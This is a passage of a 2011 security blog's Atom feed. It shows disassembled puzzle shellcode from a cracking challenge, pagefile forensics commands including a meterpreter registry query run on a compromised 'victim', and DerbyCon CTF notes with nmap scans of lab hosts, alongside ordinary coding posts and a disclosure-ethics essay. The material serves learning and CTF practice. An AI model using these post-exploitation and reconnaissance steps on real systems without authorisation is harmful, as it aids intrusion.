  6010c3: 8a 17                 mov    (%rdi),%dl
  6010c5: 30 da                 xor    %bl,%dl
  6010c7: 88 17                 mov    %dl,(%rdi)
  6010c9: 47                    rex.RXB
  6010ca: 49 75 de              rex.WB jne    6010ab &lt;shellcode+0x6b&gt;
  6010cd: 31 db                 xor    %ebx,%ebx
  6010cf: 89 d8                 mov    %ebx,%eax
  6010d1: fe c0                 inc    %al
  6010d3: cd 80                 int    $0x80
  6010d5: 90                    nop
  6010d6: 90                    nop
  6010d7: e8 9d ff ff ff        callq  601079 &lt;shellcode+0x39&gt;
  6010dc: 41                    rex.B
  6010dd: 41                    rex.B
  6010de: 41                    rex.B
  6010df: 41 00 00              add    %al,(%r8)
&lt;/pre&gt;&lt;br /&gt;
Definitely legitimate shellcode. The x86 asm gcc spits out is exactly what I wanted to see. Not only that, but do you see the 0xdeadbeef?&lt;br /&gt;
&lt;br /&gt;
Once I knew I was in the right direction, I loaded the binary into gdb. I through a breakpoint on the printf line with &lt;pre&gt;break printf&lt;/pre&gt;and ran the binary. I looked at the stack frame, traversed through the memory and found the strings I suspected were what we were supposed to be looking for. However, they seemed to be all multi-byte characters. I wasn't able to decipher any of them within the time limit. I had found out about the contest about 2 hours before it was over. This took me about an hour to get to traversing the stack for the strings, and I got stuck. &lt;br /&gt;
&lt;br /&gt;
Oh well. Maybe next time if I have more time I can get a bit further.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7234216734688094130-3046172381370545977?l=volatile-minds.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/oQkLb1mmtNUGJoo95edz26yZJwo/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/oQkLb1mmtNUGJoo95edz26yZJwo/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/oQkLb1mmtNUGJoo95edz26yZJwo/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/oQkLb1mmtNUGJoo95edz26yZJwo/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/VolatileMinds/~4/PWKkUZqIPXE" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://volatile-minds.blogspot.com/feeds/3046172381370545977/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://volatile-minds.blogspot.com/2011/11/can-you-crack-it-nope-i-tried-though.html#comment-form" title="402 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7234216734688094130/posts/default/3046172381370545977?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7234216734688094130/posts/default/3046172381370545977?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/VolatileMinds/~3/PWKkUZqIPXE/can-you-crack-it-nope-i-tried-though.html" title="Can you crack it? (nope, I tried though)" /><author><name>Brandon Perry</name><uri>http://www.blogger.com/profile/04227634714412263524</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="24" src="http://1.bp.blogspot.com/-FJO21-rztvs/TqspC1JU_tI/AAAAAAAAAME/olpwtY2amXc/s220/2011-10-28-171152.jpg" /></author><thr:total>402</thr:total><feedburner:origLink>http://volatile-minds.blogspot.com/2011/11/can-you-crack-it-nope-i-tried-though.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CU4HQX4yeCp7ImA9WhRRE04.&quot;"><id>tag:blogger.com,1999:blog-7234216734688094130.post-1611201547718820315</id><published>2011-11-26T12:58:00.001-06:00</published><updated>2011-11-26T12:58:50.090-06:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-11-26T12:58:50.090-06:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="linux" /><category scheme="http://www.blogger.com/atom/ns#" term="ubuntu-only" /><category scheme="http://www.blogger.com/atom/ns#" term="neat" /><title>Easily splitting and storing traceroute data</title><content type="html">Traceroute is very useful, but the data it spits out can be a bit tough to chew on. I came up with this one-liner to make it more CSV compatible so you can Split() on commas and have the correct data where you expect it.&lt;br /&gt;
&lt;pre&gt;traceroute google.com | sed 's/  /,/g' | sed 's/ ms / ms,/g'
&lt;/pre&gt;This take load balancers into account as well, so when your route slightly changes during a hop, you can still easily grok the data coming back. Basically, take double-spaces and replace them with a comma. The second sed is what takes the load balancers into account, fixing the output so it is the same as the prior hop test.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7234216734688094130-1611201547718820315?l=volatile-minds.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/50khyYRhjEjv2Y3hz7eO2jsg-_c/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/50khyYRhjEjv2Y3hz7eO2jsg-_c/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/50khyYRhjEjv2Y3hz7eO2jsg-_c/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/50khyYRhjEjv2Y3hz7eO2jsg-_c/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/VolatileMinds/~4/lcSki6YucnY" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://volatile-minds.blogspot.com/feeds/1611201547718820315/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://volatile-minds.blogspot.com/2011/11/easily-splitting-and-storing-traceroute.html#comment-form" title="2 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7234216734688094130/posts/default/1611201547718820315?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7234216734688094130/posts/default/1611201547718820315?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/VolatileMinds/~3/lcSki6YucnY/easily-splitting-and-storing-traceroute.html" title="Easily splitting and storing traceroute data" /><author><name>Brandon Perry</name><uri>http://www.blogger.com/profile/04227634714412263524</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="24" src="http://1.bp.blogspot.com/-FJO21-rztvs/TqspC1JU_tI/AAAAAAAAAME/olpwtY2amXc/s220/2011-10-28-171152.jpg" /></author><thr:total>2</thr:total><feedburner:origLink>http://volatile-minds.blogspot.com/2011/11/easily-splitting-and-storing-traceroute.html</feedburner:origLink></entry><entry gd:etag="W/&quot;D0UESHo4cSp7ImA9WhRSGUQ.&quot;"><id>tag:blogger.com,1999:blog-7234216734688094130.post-372074134242770155</id><published>2011-11-22T14:49:00.004-06:00</published><updated>2011-11-22T14:53:29.439-06:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-11-22T14:53:29.439-06:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="ubuntu-only" /><category scheme="http://www.blogger.com/atom/ns#" term="nhibernate" /><category scheme="http://www.blogger.com/atom/ns#" term="mono" /><category scheme="http://www.blogger.com/atom/ns#" term="C#" /><title>My NHibernate Configuration for Mono and PostgreSQL</title><content type="html">I love C#. It is by far my favorite language. I have been using mono to write C# application on linux for a few years now. &lt;br /&gt;
&lt;br /&gt;
Ruby is growing on me, but only because of Metasploit. I wouldn't even bother with Ruby if it weren't for MSF. Generally, I switch back and forth between C# and Ruby (and, coincidentally, Monodevelop and vim respectively) a few times a day, or even going at both at the same time.&lt;br /&gt;
&lt;br /&gt;
One of my personal projects requires a lot of DB stuff. At a previous job, I was introduced to NHibernate, this is by far the easiest way to manage your DB objects within your code. While this job was Windows centric (MSSQL, visual studio, etc...), I have adapted what I learned to Linux as well. I like PostgreSQL more than I like MySQL, and am very happy that NHibernate supports this dialect. It wasn't straight forward, though, figuring out the exact details. Maybe this will help someone in the same boat I am in.&lt;br /&gt;
&lt;br /&gt;
The most important thing is you hibernate.hbm.xml. This is where you SQL connection string is, and where you tell NHibernate what dialect of SQL you are using:&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;&amp;lt;?xml version="1.0" encoding="utf-8"?&gt;
&amp;lt;hibernate-configuration  xmlns="urn:nhibernate-configuration-2.2" &gt;
    &amp;lt;session-factory&gt;
        &amp;lt;property name="connection.provider"&gt;NHibernate.Connection.DriverConnectionProvider&amp;lt;/property&gt;
        &amp;lt;property name="connection.driver_class"&gt;NHibernate.Driver.NpgsqlDriver&amp;lt;/property&gt;
        &amp;lt;property name="connection.connection_string"&gt;
            Server=192.168.1.156;Port=5432;Database=pgdb;User Id=postgres;Password=postgres;SSL=true;
        &amp;lt;/property&gt;
        &amp;lt;property name="dialect"&gt;NHibernate.Dialect.PostgreSQL82Dialect&amp;lt;/property&gt;
  &amp;lt;property name='proxyfactory.factory_class'&gt;NHibernate.ByteCode.LinFu.ProxyFactoryFactory, NHibernate.ByteCode.LinFu&amp;lt;/property&gt;
    &amp;lt;/session-factory&gt;
&amp;lt;/hibernate-configuration&gt;
&lt;/pre&gt;&lt;br /&gt;
This requires Npgsql.dll, which runs with Mono just fine. The small detail that caused me much stress early on was the dialect property name. &lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;&amp;lt;property name="dialect"&gt;NHibernate.Dialect.PostgreSQL82Dialect&amp;lt;/property&gt;
&lt;/pre&gt;&lt;br /&gt;
At first, I was missing the "82" in the middle of the dialect name. This defaults to PostgreSQL 7.4. I am running 8.4, and there were incompatibilities that caused issues. After a day or two, I finally figured out what was causing my problems.&lt;br /&gt;
&lt;br /&gt;
I hope this helps others.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7234216734688094130-372074134242770155?l=volatile-minds.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/t8xY_pL2st3dnrKYQDPV6V53ZNw/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/t8xY_pL2st3dnrKYQDPV6V53ZNw/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/t8xY_pL2st3dnrKYQDPV6V53ZNw/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/t8xY_pL2st3dnrKYQDPV6V53ZNw/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/VolatileMinds/~4/a2msiMFQ8AQ" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://volatile-minds.blogspot.com/feeds/372074134242770155/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://volatile-minds.blogspot.com/2011/11/my-nhibernate-configuration-for-mono.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7234216734688094130/posts/default/372074134242770155?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7234216734688094130/posts/default/372074134242770155?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/VolatileMinds/~3/a2msiMFQ8AQ/my-nhibernate-configuration-for-mono.html" title="My NHibernate Configuration for Mono and PostgreSQL" /><author><name>Brandon Perry</name><uri>http://www.blogger.com/profile/04227634714412263524</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="24" src="http://1.bp.blogspot.com/-FJO21-rztvs/TqspC1JU_tI/AAAAAAAAAME/olpwtY2amXc/s220/2011-10-28-171152.jpg" /></author><thr:total>0</thr:total><feedburner:origLink>http://volatile-minds.blogspot.com/2011/11/my-nhibernate-configuration-for-mono.html</feedburner:origLink></entry><entry gd:etag="W/&quot;A0AAR38-fCp7ImA9WhRSFEg.&quot;"><id>tag:blogger.com,1999:blog-7234216734688094130.post-2970639017929834395</id><published>2011-11-15T22:34:00.001-06:00</published><updated>2011-11-16T10:09:06.154-06:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-11-16T10:09:06.154-06:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="security" /><category scheme="http://www.blogger.com/atom/ns#" term="metasploit" /><title>Metasploit and the Penetration Testing Execution Standard</title><content type="html">I was recently asked to map out the Metasploit Framework's functionality with the PTES.&lt;br /&gt;
&lt;br /&gt;
Have a look at the whitepaper, if you are interested in Metasploit or network security, it should be a great read.&lt;br /&gt;
&lt;br /&gt;
&lt;a href="http://www.tinyurl.com/msf-ptes"&gt;www.tinyurl.com/msf-ptes&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7234216734688094130-2970639017929834395?l=volatile-minds.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/hxvB2zbJi9F8Dr6Hm0_u4KwXXoQ/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/hxvB2zbJi9F8Dr6Hm0_u4KwXXoQ/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/hxvB2zbJi9F8Dr6Hm0_u4KwXXoQ/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/hxvB2zbJi9F8Dr6Hm0_u4KwXXoQ/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/VolatileMinds/~4/lMySbMx2nn4" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://volatile-minds.blogspot.com/feeds/2970639017929834395/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://volatile-minds.blogspot.com/2011/11/metasploit-and-penetration-testing.html#comment-form" title="3 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7234216734688094130/posts/default/2970639017929834395?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7234216734688094130/posts/default/2970639017929834395?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/VolatileMinds/~3/lMySbMx2nn4/metasploit-and-penetration-testing.html" title="Metasploit and the Penetration Testing Execution Standard" /><author><name>Brandon Perry</name><uri>http://www.blogger.com/profile/04227634714412263524</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="24" src="http://1.bp.blogspot.com/-FJO21-rztvs/TqspC1JU_tI/AAAAAAAAAME/olpwtY2amXc/s220/2011-10-28-171152.jpg" /></author><thr:total>3</thr:total><feedburner:origLink>http://volatile-minds.blogspot.com/2011/11/metasploit-and-penetration-testing.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CUQGRnk9eSp7ImA9WhRSEUk.&quot;"><id>tag:blogger.com,1999:blog-7234216734688094130.post-3681555022174293077</id><published>2011-11-12T18:14:00.002-06:00</published><updated>2011-11-12T18:15:27.761-06:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-11-12T18:15:27.761-06:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="ubuntu-only" /><category scheme="http://www.blogger.com/atom/ns#" term="security" /><category scheme="http://www.blogger.com/atom/ns#" term="metasploit" /><title>CorpWatch API integration with Metasploit: Information Gathering</title><content type="html">I have submitted two modules today to the &lt;a href="http://dev.metasploit.com/redmine/issues/5966"&gt;Metasploit redmine&lt;/a&gt; that allow integration of the &lt;a href="http://api.corpwatch.org/documentation/api_examples.html"&gt;CorpWatch API&lt;/a&gt;. They are very neat modules, allowing you to bring in information from SEC EDGAR straight into Metasploit without leaving the console. You can find and research parent and child companies, view past addresses, past names, SEC filings, all sorts of valuable information with gathering information on a company during an engagement.&lt;br /&gt;
&lt;br /&gt;
Here is an example run: http://pastebin.com/d9MKjiQ2&lt;br /&gt;
&lt;br /&gt;
Hopefully these modules will hit trunk soon, but if you want to play with them now, the diff is taken from the framework root.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7234216734688094130-3681555022174293077?l=volatile-minds.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/Rpys-rIuY6DMfoocfQzUEd8X1UY/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/Rpys-rIuY6DMfoocfQzUEd8X1UY/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/Rpys-rIuY6DMfoocfQzUEd8X1UY/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/Rpys-rIuY6DMfoocfQzUEd8X1UY/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/VolatileMinds/~4/D089yYQ6IRI" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://volatile-minds.blogspot.com/feeds/3681555022174293077/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://volatile-minds.blogspot.com/2011/11/corpwatch-api-integration-with.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7234216734688094130/posts/default/3681555022174293077?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7234216734688094130/posts/default/3681555022174293077?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/VolatileMinds/~3/D089yYQ6IRI/corpwatch-api-integration-with.html" title="CorpWatch API integration with Metasploit: Information Gathering" /><author><name>Brandon Perry</name><uri>http://www.blogger.com/profile/04227634714412263524</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="24" src="http://1.bp.blogspot.com/-FJO21-rztvs/TqspC1JU_tI/AAAAAAAAAME/olpwtY2amXc/s220/2011-10-28-171152.jpg" /></author><thr:total>0</thr:total><feedburner:origLink>http://volatile-minds.blogspot.com/2011/11/corpwatch-api-integration-with.html</feedburner:origLink></entry><entry gd:etag="W/&quot;A0MHQXs6fCp7ImA9WhdbEkU.&quot;"><id>tag:blogger.com,1999:blog-7234216734688094130.post-6237074763993673978</id><published>2011-10-10T17:30:00.000-06:00</published><updated>2011-10-10T17:30:30.514-06:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-10-10T17:30:30.514-06:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="ubuntu-only" /><title>On Information Leakage/Disclosure and Responsibilty</title><content type="html">I enjoy helping people. I enjoy helping them learn, and helping them not make mistakes. Sometimes, however, I find mistakes people have made and am told to walk away from them.&lt;br /&gt;
&lt;br /&gt;
Whenever I find a security hole in a website, I don't always have permission to look at it and exploit it. I _never_ do damage to systems I find security holes in. I tell the appropriate people what I have found, how I found it, how to resolve it, and make sure they understand I had no ill intent.&lt;br /&gt;
&lt;br /&gt;
I have found security holes (usually SQL injections) in very large website that deal with customer data, online shopping, etc. I have even found SQL injections in government websites. I am told by seasoned professionals in the security field that the best thing to do when finding these holes is to walk away and pretend like I never found them. Companies love suing people, and governments love imprisoning people.&lt;br /&gt;
&lt;br /&gt;
I feel like this is completely irresponsible. It is absolutely contrary to what I was taught growing up. If I can help a company out by pinpointing their flaws before an attacker does, I should not fear being sued or imprisoned. I consider it a matter of Good Samaritanism. You don't imprison or sue those trying to help you.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7234216734688094130-6237074763993673978?l=volatile-minds.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/YnbuIW-rcZRZVwBz196MaNWYg2E/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/YnbuIW-rcZRZVwBz196MaNWYg2E/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/YnbuIW-rcZRZVwBz196MaNWYg2E/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/YnbuIW-rcZRZVwBz196MaNWYg2E/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/VolatileMinds/~4/Ymn8XGQGzws" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://volatile-minds.blogspot.com/feeds/6237074763993673978/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://volatile-minds.blogspot.com/2011/10/on-information-leakagedisclosure-and.html#comment-form" title="4 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7234216734688094130/posts/default/6237074763993673978?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7234216734688094130/posts/default/6237074763993673978?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/VolatileMinds/~3/Ymn8XGQGzws/on-information-leakagedisclosure-and.html" title="On Information Leakage/Disclosure and Responsibilty" /><author><name>Brandon Perry</name><uri>http://www.blogger.com/profile/04227634714412263524</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="24" src="http://1.bp.blogspot.com/-FJO21-rztvs/TqspC1JU_tI/AAAAAAAAAME/olpwtY2amXc/s220/2011-10-28-171152.jpg" /></author><thr:total>4</thr:total><feedburner:origLink>http://volatile-minds.blogspot.com/2011/10/on-information-leakagedisclosure-and.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DEACRX04fip7ImA9WhdUF0o.&quot;"><id>tag:blogger.com,1999:blog-7234216734688094130.post-2302730994765081607</id><published>2011-10-04T18:34:00.000-06:00</published><updated>2011-10-04T19:06:04.336-06:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-10-04T19:06:04.336-06:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="forensics" /><category scheme="http://www.blogger.com/atom/ns#" term="ubuntu-only" /><category scheme="http://www.blogger.com/atom/ns#" term="security" /><title>Analyzing the Windows pagefile.sys from GNU/Linux</title><content type="html">Problem: Given a pagefile.sys, how much information can you gain about the victim?&lt;br /&gt;&lt;br /&gt;Hints: The pagefile.sys is stored as a bunch of 4k blocks. It is "virtual memory".&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;strings pagefile.sys | grep -i "^[a-z]:\\\\" | sort | uniq | less #List all paths in pagefile&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;NOTE: You could find a lot of paths referencing "d:\nt\base\random\path\to\src.c". These seem to be related to the drivers being loaded into memory and being pushed to the pagefile.&lt;br /&gt;&lt;br /&gt;---------------&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;strings pagefile.sys | grep -i "^[a-zA-Z09_]*=.*" | sort -u | uniq | less #print env vars&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;You will invariably get a lot of false positives with this one. But a lot of good information as well.&lt;br /&gt;&lt;br /&gt;----------------&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;strings pagefile.sys | egrep '([[:alnum:]_.-]{1,64}+@[[:alnum:]_.-]{2,255}+?\.[[:alpha:].]{2,4})' #print all email addresses.&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;There is a lot of good information that can be found that regular expressions simply can't pick up (or I just didn't think of).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;-----------&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;One thing you can do to help protect youself is looking at &lt;a href="http://support.microsoft.com/kb/314834"&gt;this kb&lt;/a&gt; on how to wipe your pagefile on shutdown. A simple registry tweak is all it takes.&lt;br /&gt;&lt;br /&gt;If you have shell on the victim, using &lt;code&gt;meterpreter&lt;/code&gt; you can find out the values of this key using this:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;reg enumkey -k &lt;br /&gt;HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Session\ Manager\\Memory Management&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;FTA:&lt;br /&gt;&lt;b&gt;&lt;br /&gt;Change the data value of the ClearPageFileAtShutdown value in the following registry key to a value of 1:&lt;br /&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management&lt;br /&gt;If the value does not exist, add the following value:&lt;br /&gt;Value Name: ClearPageFileAtShutdown&lt;br /&gt;Value Type: REG_DWORD&lt;br /&gt;Value: 1&lt;br /&gt;&lt;/b&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7234216734688094130-2302730994765081607?l=volatile-minds.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/Pnoq9oOXJ5svWQYNx_QC_SXl9Ss/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/Pnoq9oOXJ5svWQYNx_QC_SXl9Ss/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/Pnoq9oOXJ5svWQYNx_QC_SXl9Ss/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/Pnoq9oOXJ5svWQYNx_QC_SXl9Ss/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/VolatileMinds/~4/6DexSc6FAFY" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://volatile-minds.blogspot.com/feeds/2302730994765081607/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://volatile-minds.blogspot.com/2011/10/analyzing-windows-pagefilesys-from.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7234216734688094130/posts/default/2302730994765081607?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7234216734688094130/posts/default/2302730994765081607?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/VolatileMinds/~3/6DexSc6FAFY/analyzing-windows-pagefilesys-from.html" title="Analyzing the Windows pagefile.sys from GNU/Linux" /><author><name>Brandon Perry</name><uri>http://www.blogger.com/profile/04227634714412263524</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="24" src="http://1.bp.blogspot.com/-FJO21-rztvs/TqspC1JU_tI/AAAAAAAAAME/olpwtY2amXc/s220/2011-10-28-171152.jpg" /></author><thr:total>0</thr:total><feedburner:origLink>http://volatile-minds.blogspot.com/2011/10/analyzing-windows-pagefilesys-from.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DUUNRn86eSp7ImA9WhdUFks.&quot;"><id>tag:blogger.com,1999:blog-7234216734688094130.post-6563364055553076198</id><published>2011-10-03T11:45:00.000-06:00</published><updated>2011-10-03T12:41:37.111-06:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-10-03T12:41:37.111-06:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="ctf" /><category scheme="http://www.blogger.com/atom/ns#" term="ubuntu-only" /><category scheme="http://www.blogger.com/atom/ns#" term="security" /><category scheme="http://www.blogger.com/atom/ns#" term="derbycon" /><title>DerbyCon CTF Results and Notes</title><content type="html">This weekend I attended DerbyCon, a hacker convention being held for its first time in Louisville, Kentucky. It had great talks by industry heavyweights in security, and a really awesome and fun CTF game. Initially, I wasn't even planning on playing the CTF. I had never done anything like the CTF before, and expected to be trounced. As it turns out though, a friend of mine, &lt;a href="http://cosine-security.blogspot.com/"&gt;TheLightCosine&lt;/a&gt;, and I were bored and decided to check it out. TheLightCosine was actually taking Win32 exploit development training from &lt;a href="http://www.corelan.be/"&gt;corelanc0der&lt;/a&gt; and wasn't able to compete very much. Even when not in training, his brain was fried. The training was a bootcamp. With some help from TheLightCosine, however, I was able to place 5th on the CTF. Next year, I plan to be more organized and take the game a bit more seriously. All the notes I list here were just kept in my head, so I may miss a few things. This is also an abridged version.&lt;br /&gt;&lt;br /&gt;The rules were simple. A small network was setup (derbycon_ctf) with no internet connection. There were two public targets that you were allowed to hack on (10.1.1.15,10.1.1.16), and one public target that was off limits (10.1.1.10). The latter was where the scoreboard resided and where you submitted your flags for your points.&lt;br /&gt;&lt;br /&gt;The first thing I did when joining was nmapping the two targets that we were allowed to hack.&lt;br /&gt;&lt;code&gt;&lt;br /&gt;nmap -sS -O -PN -PU 10.1.1.15,16&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;This gave me an initial idea of what services the boxen were running. 10.1.1.15 had ports 80, 13370, and 3389. 10.1.1.16 was running 21,80,443, and 3389. Both were windows 2003 boxes. Occasionally, ports 23, 25, and 1337 would open on 10.1.1.16. This really confused me, but I assumed right off the bat that they were actually netcat listeners. I was never able to connect to one as someone always found them before I did. During the closing ceremonies, when the CTF prizes were given out, my assumption was confirmed by the CTF admins. They were netcat listeners.&lt;br /&gt;&lt;br /&gt;One of the most important stages when hacking into machines like this is simple information gathering. We have HTTP/S ports, we have FTP, and we have MS Terminal Services. It turns out that port 13370 on 10.1.1.15 is also HTTP. The SSL Certificate for the HTTPS port on 10.1.1.16 was invalid, something to note for 